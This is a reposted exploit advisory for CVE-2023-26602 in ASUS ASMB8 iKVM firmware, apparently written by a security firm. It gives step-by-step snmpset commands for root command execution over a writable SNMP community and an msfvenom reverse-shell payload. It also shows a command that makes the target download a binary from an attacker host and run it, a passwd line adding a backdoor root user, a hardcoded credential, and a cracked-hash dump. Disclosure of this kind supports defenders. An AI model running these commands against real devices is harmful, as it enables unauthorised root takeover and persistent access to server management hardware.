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ASUS ASMB8 iKVM 1.14.51 SNMP Remote Root

CVE Category Price Severity
CVE-2023-26602 CWE-22 $5000 Critical
Author Risk Exploitation Type Date
Shakiel Mahjouri High Remote 2023-02-27
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023020047

Below is a copy:

ASUS ASMB8 iKVM 1.14.51 SNMP Remote Root
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Exploit Title:        ASUS ASMB8 iKVM RCE and SSH Root Access
# Date:                 2023-02-16
# Exploit Author:       [email protected] for NetworkSEC [NWSSA-002-2023]
# Vendor Homepage:      https://servers.asus.com/search?q=ASMB8
# Version/Model:        ASMB8 iKVM Firmware <= 1.14.51 (probably others)
# Tested on:            Linux AMI2CFDA1C7570E 2.6.28.10-ami armv5tejl
# CVE:                  CVE-2023-26602
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


++++++++++++++++++++
0x00    DESCRIPTION
++++++++++++++++++++

During a recent engagement, a remote server management interface has been 
discovered. Furthermore, SNMPv2 was found to be enabled, offering write
access to the private community, subsequently allowing us to introduce
SNMP arbitrary extensions to achieve RCE.

We also found a hardcoded account sysadmin:superuser by cracking the 
shadow file (md5crypt) found on the system and identifed an "anonymous"
user w/ the same password, however a lock seems to be in place to prevent
using these credentials via SSH (running defshell as default shell).


+++++++++++++++
0x01    IMPACT
+++++++++++++++

By exploiting SNMP arbitrary extension, we are able to run any command on
the system w/ root privileges, and we are able to introduce our own user
circumventing the defshell restriction for SSH.


+++++++++++++++++++++++++++++++
0x02    PROOF OF CONCEPT (PoC)
+++++++++++++++++++++++++++++++

At first, we have to create required extensions on the system, e.g. via

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "[command]"'

and if everything is set, we can just run that command by

snmpbulkwalk -c public -v2c x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects

which will execute our defined command and show us its output.


+++++++++++++++++++++++++++++++
0x03    SSH Remote Root Access
+++++++++++++++++++++++++++++++

The identified RCE can be used to transfer a reverse tcp shell created
by msfvenom for arm little-endian, e.g.

msfvenom -p linux/armle/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f elf -o rt.bin

We can now transfer the binary, adjust permissions and finally run it:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "wget -O /var/tmp/rt.bin http://x.x.x.x/rt.bin"'
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod +x /var/tmp/rt.bin"'
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "/var/tmp/rt.bin"'

Again, we have to request execution of the lines in the MIB via:

snmpbulkwalk -c public -v2c x.x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects

We get a reverse connection from the host, and can now act on the local system 
to easily echo our own line into /etc/passwd:

echo d1g:OmE2EUpLJafIk:0:0:root:/root:/bin/sh >> /etc/passwd

By setting the standard shell to /bin/sh, we are able to get a SSH root
shell into the system, effectively circumventing the defshell restriction.

$ sshpass -p xxxx ssh x.x.x.x -oHostKeyAlgorithms=+ssh-dss -l d1g

BusyBox v1.13.2 (2017-07-11 18:39:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux AMI2CFDA1C7570E 2.6.28.10-ami #1 Tue Jul 11 18:49:20 CST 2017 armv5tejl unknown
# uptime
 15:01:45 up 379 days, 23:33, load average: 2.63, 1.57, 1.25
# head -n 1 /etc/shadow
sysadmin:$1$A17c6z5w$5OsdHjBn1pjvN6xXKDckq0:14386:0:99999:7:::


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#EOF

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